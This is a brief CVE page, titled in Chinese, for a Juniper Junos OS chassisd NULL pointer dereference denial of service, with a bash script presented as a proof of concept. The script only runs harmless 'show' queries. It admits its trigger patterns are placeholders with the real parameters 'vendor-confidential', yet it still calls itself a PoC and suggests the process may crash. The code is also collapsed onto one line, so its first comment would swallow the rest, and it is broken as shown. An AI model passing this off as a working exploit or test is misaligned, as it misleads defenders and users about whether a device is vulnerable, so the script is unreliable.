CVE-2025-60007: Juniper Junos OS空指针解引用导致拒绝服务

#!/bin/bash # CVE-2025-60007 PoC - Juniper Junos OS chassisd NULL Pointer Dereference # Requirements: Local low-privilege access to Junos OS device echo "[*] CVE-2025-60007 - Juniper Junos OS chassisd DoS PoC" echo "[*] Target: Junos OS on MX, SRX, EX Series" echo "" # Check if we have CLI access if ! command -v cli &> /dev/null; then echo "[-] Error: Junos CLI (cli) not found. This PoC must run on Junos OS." exit 1 fi # Attempt to trigger the vulnerability # Note: The exact parameters are vendor-confidential # This demonstrates the attack vector echo "[+] Attempting to trigger chassisd vulnerability..." echo "[!] This may cause system instability" # Potential trigger command patterns (actual exploit requires specific parameters) # These are placeholder patterns based on the vulnerability description # Pattern 1: Show chassis with specific options cli -c "show chassis ?" 2>/dev/null || echo "[i] CLI access limited" # Pattern 2: Monitor the chassisd process cli -c "show system processes chassisd" 2>/dev/null || echo "[i] Cannot query chassisd" # Check chassisd status before and after echo "" echo "[*] Checking chassisd process status..." cli -c "show system processes extended" 2>/dev/null | grep -i chassisd || echo "[i] Cannot verify chassisd" echo "" echo "[*] PoC execution completed" echo "[!] If vulnerable, chassisd may have crashed and restarted"